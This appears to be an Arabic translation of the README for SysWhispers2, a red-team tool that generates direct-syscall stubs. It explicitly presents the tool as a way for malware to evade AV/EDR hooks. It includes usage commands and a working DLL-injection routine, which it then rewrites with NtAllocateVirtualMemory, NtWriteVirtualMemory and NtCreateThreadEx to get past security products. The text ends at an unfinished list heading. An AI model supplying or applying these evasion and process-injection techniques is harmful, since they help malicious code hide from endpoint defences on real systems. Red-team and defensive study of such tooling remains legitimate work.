
التهرب من AV/EDR عبر استدعاءات النظام المباشرة.
يساعد SysWhispers في التهرب عن طريق توليد ملفات رأس (header) ولغة التجميع (ASM) يمكن للبرامج الضارة استخدامها لإجراء استدعاءات نظام مباشرة.
جميع استدعاءات النظام الأساسية مدعومة، وملفات مثال مولدة متوفرة في المجلد example-output/.
الاستخدام متطابق تقريبًا مع SysWhispers1 لكن لا يتعين عليك تحديد إصدارات Windows التي تريد دعمها. معظم التغييرات مخفية تحت الغطاء. لم يعد يعتمد على جداول استدعاء النظام الخاصة بـ @j00ru (syscall tables)، وبدلاً من ذلك يستخدم تقنية "الترتيب حسب عنوان استدعاء النظام" التي نشرها @modexpblog. وهذا يقلل بشكل كبير من حجم كتل استدعاءات النظام (syscall stubs).
التنفيذ المحدد في SysWhispers2 هو اختلاف عن كود @modexpblog. أحد الاختلافات هو أن تجزئات أسماء الدوال (function name hashes) يتم عشوائيتها في كل توليد. @ElephantSe4l، الذي نشر هذه التقنية في وقت سابق، لديه تطبيق آخر يعتمد على C++17 يستحق الإطلاع عليه أيضًا.
مستودع SysWhispers الأصلي لا يزال قائمًا لكن قد يتم إهماله في المستقبل.
تضع منتجات الأمان المختلفة خطافات في دوال وضع المستخدم (user-mode API functions) والتي تسمح لها بإعادة توجيه تدفق التنفيذ إلى محركاتها والكشف عن السلوك المشبوه. الدوال في ntdll.dll التي تقوم باستدعاءات النظام تتكون من بضع تعليمات تجميع فقط، لذا فإن إعادة تنفيذها في برنامجك الضار الخاص يمكن أن يتجاوز تفعيل خطافات منتجات الأمان تلك. هذه التقنية نُشرت بواسطة @Cn33liz وتحتوي مقالته على تفاصيل تقنية تستحق القراءة.
يوفر SysWhispers لفِرق الاختراق (red teamers) القدرة على توليد أزواج من ملفات الرأس (header) والتجميع (ASM) لأي استدعاء نظام في صورة نواة النظام الأساسية (ntoskrnl.exe). ستتضمن ملفات الرأس أيضًا تعريفات الأنواع الضرورية.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# تصدير جميع الدوال مع التوافق لجميع إصدارات Windows المدعومة (انظر example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# تصدير الدوال الشائعة فقط (انظر القائمة أدناه).
py .\syswhispers.py --preset common -o syscalls_common
# تصدير NtProtectVirtualMemory و NtWriteVirtualMemory مع التوافق لجميع الإصدارات.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
تم تحديد جميع الدوال.
اكتمل! تمت كتابة الملفات إلى:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // استيراد ملف الرأس المولد.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
استخدام المفتاح --preset common سينشئ زوج ملف رأس/تجميع مع الدوال التالية: